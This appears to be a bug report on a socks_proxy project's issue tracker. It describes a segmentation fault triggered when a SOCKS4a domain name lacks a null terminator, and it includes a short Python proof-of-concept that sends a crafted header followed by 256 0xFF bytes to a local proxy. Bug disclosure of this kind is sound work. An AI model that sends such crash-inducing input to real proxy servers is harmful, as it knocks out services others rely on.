socks_proxy
socks_proxy copied to clipboard
Segmentation fault
Segmentation fault, if the domain name isn't null-terminated string (SOCKS4a protocol).
#!/bin/python3
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.connect(('127.0.0.1', 1080))
s.send(b'\x04\x01\x00\x00\x00\x00\x00\x01\x00')
for i in range(256):
s.send(b'\xFF')